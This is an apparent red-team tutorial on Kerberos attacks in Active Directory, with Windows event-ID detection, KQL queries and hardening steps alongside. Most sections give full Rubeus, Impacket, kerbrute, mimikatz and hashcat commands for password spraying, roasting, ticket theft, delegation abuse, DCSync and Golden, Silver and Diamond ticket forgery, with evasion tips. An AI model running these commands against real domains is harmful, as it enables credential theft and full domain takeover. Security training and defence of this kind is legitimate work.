Kerberos Deep Dive

Every Kerberos attack with full commands: enumeration (kerbrute/BloodHound), AS-REP roasting, Kerberoasting (targeted+OPSEC), Pass-the-Ticket, Overpass-the-Hash, Unconstrained Delegation TGT capture, S4U delegation abuse, RBCD, Golden/Silver/Diamond tickets. Detection (EventIDs 4768/4769/4662, KQL) and hardening (AES-only, gMSA, krbtgt rotation). Authorised engagements only.

AS-REP · Kerberoast · PTT · OtH · Delegation · Golden / Silver / Diamond · 4768/4769

Authorised engagements only. Every attack below uses the Kerberos protocol exactly as designed — against misconfigured AD environments. These are standard penetration testing techniques documented in ATT&CK (T1558). All tools (Rubeus, Impacket, kerbrute, BloodHound) are open-source red-team tools. Signed scope before running anything.

Kerberos in two exchanges — know this before the attacks

Here is the uncomfortable truth about Kerberos attacks: almost none of them are exploits. There is no buffer overflow, no CVE. The attacker sends requests the protocol is designed to answer, and the KDC answers them. The "vulnerability" is a flag on an account, a weak service password, or a stolen signing key — the protocol doing exactly what RFC 4120 says it should. To attack Kerberos you have to understand it, because the attacks are the protocol.

The AS exchange — getting your TGT

The client sends an AS-REQ to the KDC. Normally this includes a pre-authentication timestamp encrypted with the user's password-derived key (PA-ENC-TIMESTAMP). The KDC decrypts it — if it works, you proved knowledge of the password without sending it. The KDC replies with an AS-REP containing a Ticket Granting Ticket (TGT) encrypted with the krbtgt account key. The client carries this TGT around like a session passport.

The TGS exchange — getting into a service

To reach a service, the client sends a TGS-REQ — "here is my TGT, give me a ticket for MSSQLSvc/db01.corp.local." The KDC validates the TGT and issues a TGS-REP containing a service ticket whose enc-part is encrypted with the service account's password-derived key. The client presents that ticket to the service directly — the service decrypts it, trusts the PAC inside (the user's SIDs and group memberships), and grants access.

Encryption typeKey derivationAttack relevance
AES256 (etype 0x12)PBKDF2-derived, saltedHard to crack — the goal state for every account
AES128 (etype 0x11)Also modernPreferred over RC4; weaker than AES256
RC4-HMAC (etype 0x17)Key = NT hash, unsaltedAttacker's favourite — fast hashcat -m 13100/18200
DES (0x01/0x03)Ancient, disabled by defaultShould never appear; alarm if it does
Notice what is keyed to what: TGT → krbtgt key; service ticket → service account key; pre-auth → user key. Every attack below is: "I got ciphertext sealed with a key I want, so I crack it offline" OR "I already hold the key, so I forge the ticket myself."

Enumeration — find roastable accounts and delegation paths first

Before running any attack, map the surface. Three tools cover the discovery workflow: kerbrute for valid-username enumeration without touching LDAP, BloodHound for the full delegation/attack-path graph, and LDAP queries for targeted SPN and pre-auth-disabled discovery.

kerbrute — find valid users without binding to LDAP

shell
# kerbrute: Kerberos username enumeration (no LDAP, no lockout trigger for invalid users)
kerbrute userenum -d corp.local --dc 10.0.0.10 \
    /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
# -> prints valid usernames; invalid ones produce Kerberos error 0x6 (KDC_ERR_C_PRINCIPAL_UNKNOWN)
# -> valid usernames produce 0x18 (wrong password) or 0x17 (pre-auth disabled) — no lockout

# Password spray via Kerberos (avoids LDAP; uses AS-REQ per user — quieter than SMB spray):
kerbrute passwordspray -d corp.local --dc 10.0.0.10 valid_users.txt 'Spring2026!'

LDAP: find roastable and delegatable accounts

shell
# --- Find AS-REP-roastable accounts (DONT_REQ_PREAUTH flag set) ---
# PowerShell on a domain-joined host:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth |
    Select-Object SamAccountName, Enabled, DistinguishedName

# --- Find Kerberoastable accounts (user accounts with an SPN) ---
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
    Select-Object SamAccountName,ServicePrincipalName,Enabled

# --- Find Unconstrained Delegation hosts (most dangerous) ---
Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties TrustedForDelegation |
    Select-Object Name, DNSHostName

# --- Find Constrained Delegation accounts (msDS-AllowedToDelegateTo is set) ---
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo |
    Select-Object SamAccountName,msDS-AllowedToDelegateTo

# --- BloodHound queries (Cypher, run in the UI or via bolt://localhost:7687) ---
# Find all Kerberoastable users:
MATCH (u:User) WHERE u.hasspn=true RETURN u.name, u.admincount
# Find Kerberoastable accounts with DA paths:
MATCH p=shortestPath((u:User {hasspn:true})-[*1..]->(g:Group {name:"DOMAIN [email protected]"})) RETURN p
# Find all unconstrained delegation computers:
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

AS-REP roasting — a crackable hash with zero credentials

Start with the cheapest attack: it needs no credentials at all, just network access to the DC and a list of usernames. AS-REP roasting abuses accounts where someone enabled "Do not require Kerberos preauthentication" (DONT_REQ_PREAUTH / UF_DONT_REQUIRE_PREAUTH bit 0x400000 in userAccountControl). With pre-auth disabled the KDC skips the timestamp check — anyone can send an AS-REQ naming that user and the KDC returns ciphertext sealed with that user's password key. You never authenticated; you just asked.

shell
# --- From Linux (no creds needed for DONT_REQ_PREAUTH accounts) ---
# Impacket — enumerate and dump all AS-REP-roastable hashes in one shot:
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.10 -format hashcat
# With a low-priv account, pull the list from LDAP automatically:
GetNPUsers.py corp.local/lowpriv:Passw0rd -request -format hashcat -dc-ip 10.0.0.10 \
    -outputfile asrep.txt

# --- From Windows (domain-joined host) ---
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# Target a specific user only (less noise):
Rubeus.exe asreproast /user:svc_backup /format:hashcat /outfile:asrep.txt

# --- Crack offline (no lockout — cracking is local) ---
# Mode 18200 = $krb5asrep$23$ (RC4)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Mode 19900 = $krb5asrep$17$ / $krb5asrep$18$ (AES — slower, but possible)
hashcat -m 19900 asrep.txt rockyou.txt

Detection & fix

Every TGT request is logged as Event 4768 on the DC. A legitimate request shows Pre-Authentication Type ≠ 0. An AS-REP-roast request shows Pre-Authentication Type = 0 — that is the signature. Alert on any 4768 with PreAuthType 0. Fix: clear the DONT_REQ_PREAUTH flag and require long AES passwords on those accounts.

shell
# KQL — Microsoft Sentinel / Defender: detect AS-REP roast attempts:
SecurityEvent
| where EventID == 4768
| where PreAuthType == "0"
| where TargetUserName !endswith "$"    // exclude computer accounts (they sometimes do this)
| project TimeGenerated, TargetUserName, IpAddress, TargetDomainName

# Fix — clear the flag via PowerShell (requires Domain Admin):
Set-ADAccountControl -Identity svc_backup -DoesNotRequirePreAuth $false
# Enforce AES-only on that account (removes RC4 from AS-REP):
Set-ADUser svc_backup -KerberosEncryptionType AES256

Kerberoasting — the everyday engagement workhorse

Kerberoasting only needs one valid domain account — any user, however unprivileged. Every authenticated domain user can request a service ticket for any account that has a Service Principal Name (SPN). That ticket's enc-part is sealed with the service account's password key. Get the ticket, crack it offline, own the service account. The KDC never checks whether you intend to actually connect to the service.

Standard roasting

shell
# Impacket — enumerate SPNs and request tickets:
GetUserSPNs.py corp.local/lowpriv:Passw0rd -dc-ip 10.0.0.10 -request \
    -outputfile kerberoast.txt
# Show SPNs only (no ticket request) for reconnaissance:
GetUserSPNs.py corp.local/lowpriv:Passw0rd -dc-ip 10.0.0.10

# Rubeus, from a domain host (roast everything, force RC4):
Rubeus.exe kerberoast /outfile:kerberoast.txt
# /rc4opsec = only roast accounts WHERE RC4 is allowed (avoids AES-only accounts
#             and doesn't generate an RC4 downgrade alert for AES-enforced accounts)
Rubeus.exe kerberoast /rc4opsec /outfile:kerberoast.txt

# Crack:  -m 13100 = $krb5tgs$23$ (RC4),  -m 19600/19700 = AES128/256 TGS
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Targeted Kerberoasting — high-value accounts only (quieter)

bash
# Only roast accounts that are admin / in privileged groups — less noise:
# Step 1: Find SPNs belonging to high-privilege accounts:
GetUserSPNs.py corp.local/lowpriv:Passw0rd -dc-ip 10.0.0.10 | grep -i admin
# Step 2: Roast only that specific account:
Rubeus.exe kerberoast /user:sqlsvc /rc4opsec /outfile:sqlsvc.txt
GetUserSPNs.py corp.local/lowpriv:Passw0rd -dc-ip 10.0.0.10 -request-user sqlsvc \
    -outputfile sqlsvc.txt

# OPSEC: throttle requests to avoid the "single account requesting many TGS in a burst" alert:
# Spread requests over hours, or request one SPN per session.
# RC4 on an AES-only network is a loud tell → verify AES-only enforcement before choosing /rc4opsec.

Detection & fix

shell
# KQL — detect Kerberoasting: single account, many distinct SPNs, RC4 etype, short window:
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"   // RC4 = legacy / attacker choice
| where ServiceName !endswith "$"        // exclude machine account SPN requests
| summarize SPNCount = dcount(ServiceName) by TargetUserName, bin(TimeGenerated, 5m)
| where SPNCount > 5                     // more than 5 different SPNs in 5 minutes

# Fix — enforce AES on service accounts + use gMSA where possible:
# gMSA: AD manages 120-char passwords, auto-rotated, never crackable:
New-ADServiceAccount -Name "sqlsvc" -DNSHostName "sql01.corp.local" `
    -PrincipalsAllowedToRetrieveManagedPassword "SQL01$"
Install-ADServiceAccount -Identity "sqlsvc"
# Enforce AES-only encryption on existing service accounts (removes RC4 crack path):
Set-ADUser sqlsvc_old -KerberosEncryptionType AES256
# Also: set msDS-SupportedEncryptionTypes = 24 (AES128 + AES256) on the account.
💡 On an engagement, Kerberoast early and quietly with /rc4opsec, then run hashcat in the background while you keep working. One cracked privileged service account often means lateral movement to the entire tier that account can access. Report the root cause as "service accounts with weak, static, human-set passwords and RC4 enabled" — not "Kerberos is broken."

Pass-the-Ticket and Overpass-the-Hash — use tickets without cracking

You do not always need to crack a hash. If you already hold a ticket — either extracted from memory or obtained via a request with a hash you own — you can use it directly. Pass-the-Ticket (PTT) imports a Kerberos ticket into the current logon session (or a new one) and uses it to authenticate without ever presenting a password. Overpass-the-Hash (OtH, also "Pass-the-Key") uses an NT hash or AES key to forge an AS-REQ and obtain a proper Kerberos TGT — converting NTLM material into a Kerberos credential.

Extract tickets from memory, then pass them

shell
# --- Extract tickets from a compromised host (requires admin) ---
# Mimikatz (touches LSASS — noisy with EDR):
mimikatz # sekurlsa::tickets /export    # dumps all tickets to .kirbi files
# Rubeus (no LSASS touch — quieter):
Rubeus.exe triage               # list all tickets in all sessions
Rubeus.exe dump /nowrap         # dump as base64; /luid:0x1234 for a specific session
Rubeus.exe dump /user:alice /service:krbtgt /nowrap    # dump only Alice's TGT

# --- Import (pass) a ticket into the current session ---
# Rubeus PTT from base64:
Rubeus.exe ptt /ticket:<base64_ticket_string>
# Rubeus PTT from file:
Rubeus.exe ptt /ticket:alice.kirbi
# Mimikatz PTT from file:
mimikatz # kerberos::ptt alice.kirbi
# Verify the ticket is now in session:
klist
Rubeus.exe triage

Overpass-the-Hash — NT hash → Kerberos TGT

shell
# You have Alice's NT hash from a previous dump. Convert it to a Kerberos TGT.
# Why? Kerberos traffic looks more legitimate than NTLM on a Kerberos-only network.

# Rubeus (OPSEC: no LSASS touch; creates a sacrificial logon session):
Rubeus.exe asktgt /user:alice /domain:corp.local /rc4:<NT_HASH> \
    /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
# /createnetonly + /ptt: spawns a new cmd.exe, injects the TGT into it — doesn't
# overwrite the current session TGT and avoids touching other sessions.

# With AES256 key (quieter — no RC4 ticket request on the wire):
Rubeus.exe asktgt /user:alice /domain:corp.local /aes256:<AES_KEY> /opsec /ptt
# /opsec sets the same KDC options a real Windows client would use — less distinctive.

# Mimikatz equivalent (touches LSASS — noisier):
mimikatz # sekurlsa::pth /user:alice /domain:corp.local /ntlm:<HASH> /run:powershell.exe

# After PTT / OtH: use the ticket transparently:
dir \\dc01.corp.local\ADMIN$    # accesses DC admin share as alice
nxc smb dc01.corp.local -k --use-kcache   # nxc with Kerberos auth
Detection: Event 4768 (TGT request) with PreAuthType = 0x11/0x12 (AES) from an unusual source IP is normal and quiet. A 4769 (service ticket) with no preceding 4768 for the same user/session is the classic "forged ticket" signal. PTT leaves no new 4768 because the ticket was pre-existing — watch for anomalous Kerberos logons (4624 LogonType=3, AuthenticationPackageName=Kerberos) from IPs that do not match the account's normal workstation.

Unconstrained Delegation — steal every TGT that flows through a host

Unconstrained delegation is a legacy setting where a computer or service account is trusted to impersonate any user to any service. When a user authenticates to a host with unconstrained delegation enabled, Windows automatically sends their full TGT along with the service ticket — and stores it in memory on that host. Anyone who can dump memory on that host can steal and replay every TGT that has flowed through it, including Domain Controller machine account TGTs. This is the most dangerous single misconfiguration in Active Directory.

shell
# --- Step 1: Find computers with Unconstrained Delegation ---
# Any computer with TRUSTED_FOR_DELEGATION set in UAC is a target:
Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties * |
    Select-Object Name, DNSHostName, OperatingSystem
# Or from Linux with LDAP (null session or low-priv creds):
ldapsearch -x -H ldap://10.0.0.10 -D "cn=lowpriv,dc=corp,dc=local" -w Passw0rd \
    -b "dc=corp,dc=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" name

# --- Step 2: Compromise the delegating host (local admin required) ---
# Gain a shell on the host with unconstrained delegation.

# --- Step 3: Start Rubeus in monitor mode — wait for incoming TGTs ---
Rubeus.exe monitor /interval:5 /nowrap
# Rubeus prints every new TGT as it arrives in memory on this host.

# --- Step 4: Coerce a Domain Controller to authenticate to this host ---
# PrinterBug / SpoolSample — forces DC01 to authenticate back to this host:
SpoolSample.exe DC01 DELEGATED_HOST    # SpoolSample by Lee Christensen
# Or PetitPotam, DFSCoerce, Coercer — any coercion method works:
petitpotam.py -u lowpriv -p Passw0rd -d corp.local DELEGATED_HOST DC01.corp.local

# --- Step 5: Rubeus monitor catches the DC's machine account TGT ---
# DC01$ TGT appears in the monitor output as base64.

# --- Step 6: Import the DC TGT and DCSync the whole domain ---
Rubeus.exe ptt /ticket:<DC01$_TGT_base64>
secretsdump.py -k -no-pass 'corp.local/DC01$'@dc01.corp.local
# -> dumps krbtgt hash + every domain account hash = full domain compromise
One unconstrained-delegation host + any coercion method = full domain compromise. The TRUSTED_FOR_DELEGATION flag should never be on a computer that is not operationally required to fully impersonate any user. Audit all computers with this flag immediately and remove it wherever possible. Add DC machine accounts to the Protected Users group (prevents their TGT from being delegated — though this may break some legacy services).

Detection & fix

shell
# Alert on TGT requests FROM a delegating host IP where the requesting USER is a DC:
SecurityEvent
| where EventID == 4768
| where TargetUserName endswith "$"   // machine account
| where ClientAddress in (known_delegating_hosts)   // your list of unconstrained delegation hosts
// A DC machine account TGT request hitting a delegating host = coercion + dump in progress.

# Fix:
# 1. Remove unconstrained delegation from every computer that doesn't need it:
Set-ADComputer delegated_host -TrustedForDelegation $false
# 2. Disable the Print Spooler on all DCs (removes the PrinterBug coercion vector):
Get-Service Spooler -ComputerName DC01.corp.local | Stop-Service
Set-Service Spooler -ComputerName DC01.corp.local -StartupType Disabled
# 3. Add tier-0 accounts to Protected Users (blocks TGT delegation):
Add-ADGroupMember "Protected Users" -Members "DA_Account","DC01$"

Constrained Delegation and S4U — impersonate any user from a service hash

Constrained delegation (CD) is the supposedly-safer replacement: instead of "trust this account for any service," you specify exactly which services it can impersonate users to. But constrained delegation with Protocol Transition (TRUSTED_TO_AUTH_FOR_DELEGATION / msDS-AllowedToDelegateTo) introduces a dangerous capability called S4U2Self: the service account can request a service ticket for any user to itself, without that user ever having authenticated. Combined with S4U2Proxy, which forwards that ticket to a target service, you can impersonate any domain user (including Domain Admins) to the configured services — from just the service account's hash.

shell
# --- Step 1: Find constrained delegation accounts and what they can delegate to ---
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo |
    Select-Object SamAccountName, @{n='SPNs';e={$_.'msDS-AllowedToDelegateTo'}}

# --- Step 2: With the service account hash, impersonate any user to those services ---
# S4U2Self + S4U2Proxy via Rubeus (Protocol Transition must be enabled):
# Example: sqlsvc can delegate to cifs/fileserver.corp.local
# Impersonate Domain Admin to that service:
Rubeus.exe s4u /user:sqlsvc /rc4:<NTLM_HASH_OF_SQLSVC> /domain:corp.local \
    /msdsspn:"cifs/fileserver.corp.local" /impersonateuser:Administrator /ptt
# -> injects a TGS for Administrator@cifs/fileserver, use it to access the share:
dir \\fileserver.corp.local\C$

# With AES key (quieter):
Rubeus.exe s4u /user:sqlsvc /aes256:<AES_KEY> /domain:corp.local \
    /msdsspn:"cifs/fileserver.corp.local" /impersonateuser:Administrator /ptt /opsec

# Impacket equivalent (Linux):
getST.py -spn 'cifs/fileserver.corp.local' -impersonate Administrator \
    -dc-ip 10.0.0.10 'corp.local/sqlsvc:<password_or_hash>'
export KRB5CCNAME=Administrator@cifs_fileserver.ccache
smbclient.py -k -no-pass 'corp.local/[email protected]'
Constrained delegation without Protocol Transition (Kerberos-only, TRUSTED_TO_AUTH_FOR_DELEGATION NOT set) is less dangerous — it can only forward tickets for users who actually authenticated to it. Still worth auditing, but Protocol Transition is the truly dangerous variant.

Golden, Silver, and Diamond tickets — forging, not asking

The roasting and delegation attacks get you keys by asking or abusing the protocol. Golden and Silver tickets are the opposite: you already hold a signing key, so you forge tickets the KDC never issued. These are post-exploitation persistence techniques — you need the key first — but once you have it, access is total and long-lived.

Golden ticket — forge any TGT with the krbtgt key

shell
# --- Get the krbtgt hash (requires DA / DCSync rights) ---
secretsdump.py -just-dc-user krbtgt 'corp.local/da_account:P@ss'@dc01.corp.local
# krbtgt aes256-cts-hmac-sha1-96: <AES_KEY>  <- prefer this
# krbtgt rc4-hmac: <NT_HASH>

# --- Forge a Golden TGT (Impacket ticketer) ---
ticketer.py -nthash <krbtgt_NT_hash> -domain-sid S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX \
    -domain corp.local Administrator
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass 'corp.local/Administrator'@dc01.corp.local   # use it

# With AES key (harder to detect — no RC4 downgrade):
ticketer.py -aesKey <krbtgt_AES256> -domain-sid S-1-5-21-... -domain corp.local Administrator

# --- Rubeus Golden ticket + inject ---
Rubeus.exe golden /rc4:<krbtgt_hash> /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-... /groups:512 /ptt
# /groups:512 = Domain Admins SID, can add any SID (519=Enterprise Admin, 518=Schema Admin)

# A Golden ticket can be created for a user that doesn't exist in AD:
Rubeus.exe golden /rc4:<krbtgt_hash> /user:GhostAdmin /domain:corp.local \
    /sid:S-1-5-21-... /groups:512,519 /ptt

Silver ticket — one service, no DC involved

shell
# Silver ticket: forge a service ticket for ONE service using that service's key.
# No TGT needed, no KDC contact → no 4768/4769 on the DC at all.
# Requires: service account hash + domain SID + SPN.

# Example: forge CIFS ticket for ws01.corp.local using ws01's machine account hash:
ticketer.py -nthash <WS01_MACHINE_ACCOUNT_NTLM> -domain-sid S-1-5-21-... \
    -domain corp.local -spn cifs/ws01.corp.local Administrator
export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass 'corp.local/[email protected]'

# Rubeus equivalent:
Rubeus.exe silver /service:cifs/ws01.corp.local /rc4:<machine_account_hash> \
    /user:Administrator /domain:corp.local /sid:S-1-5-21-... /ptt

Diamond ticket — modify a real TGT (harder to detect)

Diamond tickets are a newer alternative to Golden tickets. Instead of forging a TGT from scratch (which leaves a well-known signature), a Diamond ticket takes a real, legitimately issued TGT, decrypts the PAC using the krbtgt key, modifies it (adds extra SIDs / groups), re-encrypts, and re-signs. The resulting ticket is much harder to detect because it has valid timestamps, a valid structure, and is derived from a real TGT request — it just has a modified PAC.

shell
# Rubeus Diamond ticket — modify a real TGT's PAC (requires krbtgt key):
Rubeus.exe diamond /krbkey:<krbtgt_AES256> /user:lowpriv /password:UserPass \
    /enctype:aes /ticketuser:Administrator /domain:corp.local /dc:dc01.corp.local \
    /ticketuserid:500 /groups:512,519,518 /ptt
# -> requests a real TGT as lowpriv, then decrypts + modifies PAC to impersonate Administrator
# -> the forged ticket has a real nonce, real timestamps, real structure
# -> bypasses "check for TGT timestamp outside policy" detections used against Golden tickets

# Sapphire tickets (even newer): clone the exact PAC from a real privileged user's TGT
# rather than fabricating it. The PAC is bit-for-bit identical to a legitimate one.

Detection (EventIDs + KQL) and hardening commands

Pulling detection and hardening together. Kerberos attacks are quiet by design — offline cracking, KDC-trusted tickets, no lockouts. Detection lives in a small set of event IDs read carefully, plus hardening controls that remove the preconditions entirely.

Event IDWhat to watch for
4768 (TGT requested)PreAuthType=0 → AS-REP roast. Forged TGT in use → no 4768 precedes a 4769 for that user.
4769 (Service ticket)RC4 (0x17) where AES enforced → roasting/forgery. Single source, many SPNs in a short window → Kerberoasting.
4624 (Logon)Type 3, Kerberos, from a host/IP that shouldn't have that user's TGT → Silver/PTT.
4662 (Dir object access)Replication GUIDs (1131f6aa / 1131f6ad) from a non-DC → DCSync (krbtgt theft precursor).
4738 / 5136UAC change setting DONT_REQ_PREAUTH, or SPN added to a user account.
4769 no preceding 4768"Orphaned" service ticket request → Golden ticket in use.
shell
# KQL — detect Golden ticket usage (4769 without a preceding 4768 for same user, same logon session):
let TGTRequests = SecurityEvent | where EventID == 4768 | project TargetUserName, ClientAddress, TimeGenerated;
SecurityEvent
| where EventID == 4769
| where TargetUserName !endswith "$"
| join kind=leftanti TGTRequests on $left.TargetUserName==$right.TargetUserName,
    $left.ClientAddress==$right.ClientAddress    // no TGT issued for this user from this IP
| where TimeGenerated between (ago(4h)..now())
| project TimeGenerated, TargetUserName, ClientAddress, ServiceName, TicketEncryptionType

# KQL — detect DCSync (4662 replication from non-DC source):
SecurityEvent
| where EventID == 4662
| where OperationType == "%%7688"     // Access Mask 0x100 = Control Access
| where Properties has "1131f6aa"     // Replicating Directory Changes
   or Properties has "1131f6ad"       // Replicating Directory Changes All
| where SubjectUserName !endswith "$" // not a computer account
| project TimeGenerated, SubjectUserName, IpAddress, Computer
ControlWhat you doWhat it defeats
Enforce AES-only, disable RC4Set msDS-SupportedEncryptionTypes=24 domain-wide; disable RC4 via GPORemoves fast-crack path; RC4 downgrade becomes alarm
gMSA for service accountsAD-managed 120-char auto-rotated passwordsKerberoasting yields uncrackable hashes
Clear DONT_REQ_PREAUTHAudit and remove the flag on all accountsEliminates AS-REP roasting outright
Remove unconstrained delegationSet-ADComputer -TrustedForDelegation $false; disable Spooler on DCsRemoves the most dangerous delegation class
Rotate krbtgt twice2 resets spaced by the max AD replication time (usually ~24h)Invalidates all existing Golden tickets
Protected Users groupAdd tier-0 accounts — prevents TGT caching, delegation, RC4, and DESBlocks multiple ticket attacks on privileged accounts
Tier-0 isolation + PAC validationProtect DCs; enforce PAC verification; regular krbtgt auditStops key theft and catches Silver tickets
shell
# --- Hardening commands ---
# Disable RC4 domain-wide (GPO: Computer Configuration > Admin Templates > System > KDC):
# "KDC support for claims, compound authentication, and Kerberos armoring" = Enabled
# Or directly on the domain object (requires Schema/Domain Admin):
$domain = Get-ADObject -SearchBase (Get-ADDomain).distinguishedname `
    -Filter {objectclass -eq "domain"} -Properties msDS-SupportedEncryptionTypes
Set-ADObject $domain -Replace @{"msDS-SupportedEncryptionTypes"=24}  # AES128+AES256 only

# krbtgt rotation (two resets, wait for replication between them):
# Reset 1:
$krbtgt = Get-ADUser krbtgt
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString (New-Guid).Guid -AsPlainText -Force)
# Wait for AD replication to all DCs (check: repadmin /replsummary)
# Reset 2 (invalidates tickets from the previous krbtgt key):
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString (New-Guid).Guid -AsPlainText -Force)

# Add DA account to Protected Users (blocks RC4, DES, TGT delegation, credential caching):
Add-ADGroupMember "Protected Users" -Members "Administrator","DA_SvcAcct"

# Atomic Red Team: validate your detections fire:
Invoke-AtomicTest T1558.003 -TestNumbers 1    # Kerberoasting — confirm 4769 RC4 alert fires
Invoke-AtomicTest T1558.004 -TestNumbers 1    # AS-REP Roasting — confirm 4768 PreAuthType=0 alert

Full command cheatsheet

Complete command cheatsheet

CommandPurpose
kerbrute userenum -d corp.local --dc 10.0.0.10 users.txtEnumerate valid usernames without lockout
GetNPUsers.py corp.local/user:pass -request -format hashcat -dc-ip 10.0.0.10AS-REP roast all DONT_REQ_PREAUTH accounts
Rubeus.exe asreproast /format:hashcat /user:targetAS-REP roast from Windows host
hashcat -m 18200 hashes.txt rockyou.txtCrack AS-REP hashes (RC4)
GetUserSPNs.py corp.local/user:pass -request -outputfile out.txtKerberoast all SPN accounts
Rubeus.exe kerberoast /rc4opsec /outfile:out.txtKerberoast quietly (RC4-allowed only)
hashcat -m 13100 out.txt rockyou.txtCrack TGS hashes (RC4)
Rubeus.exe dump /user:alice /nowrapExtract tickets from memory
Rubeus.exe ptt /ticket:<base64>Import ticket into current session
Rubeus.exe asktgt /user:alice /rc4:<hash> /pttOverpass-the-Hash (OtH)
Rubeus.exe monitor /interval:5Monitor for incoming TGTs (use on delegating host)
Rubeus.exe s4u /user:svc /rc4:<hash> /msdsspn:cifs/target /impersonateuser:admin /pttS4U2Self+Proxy constrained delegation abuse
secretsdump.py -just-dc-user krbtgt corp.local/da:pass@dc01DCSync the krbtgt hash
ticketer.py -nthash <krbtgt> -domain-sid <SID> -domain corp.local AdministratorForge a Golden ticket
Rubeus.exe silver /service:cifs/ws01 /rc4:<machine_hash> /user:admin /pttForge a Silver ticket
Rubeus.exe diamond /krbkey:<krbtgt_AES> /user:low /password:pass /ticketuser:admin /pttDiamond ticket (modified real TGT)

The last word — configuration kills, not patches

The attacks are the protocol. AS-REP roasting, Kerberoasting, delegation abuse, and ticket forgery are not bugs — they are the legitimate AS/TGS exchanges and the legitimate trust model, used against misconfiguration and weak key hygiene. There is nothing to patch in Kerberos itself. The fixes are configuration: clear DONT_REQ_PREAUTH, kill RC4, use gMSA, remove unconstrained delegation, and protect/rotate the krbtgt key.

Offline is the danger. Cracking is entirely off-network — no lockouts, no failed logons, almost no noise. Detection cannot be "watch for failed auth." It must be the AS-REQ/TGS-REQ telemetry itself: PreAuthType 0, RC4 downgrades on AES networks, single-account multi-SPN bursts, orphaned 4769s with no 4768. Read Events 4768 and 4769 properly and most of the roasting landscape lights up.

Keys are the crown jewels. Every ticket is only as trustworthy as the key that sealed it. A krbtgt hash is total domain persistence that survives every password reset except its own — rotate it twice on a schedule and immediately after any DA-level compromise. Treat DC key material as tier-0, and add privileged accounts to the Protected Users group to cut off the delegation and RC4 attack paths entirely.

MITRE ATT&CK mapping for the report: AS-REP Roasting → T1558.004; Kerberoasting → T1558.003; Golden Ticket → T1558.001; Silver Ticket → T1558.002; Pass-the-Ticket → T1550.003; Overpass-the-Hash → T1550.002; DCSync → T1003.006; Unconstrained Delegation → T1134.001.

Reactions

Related Articles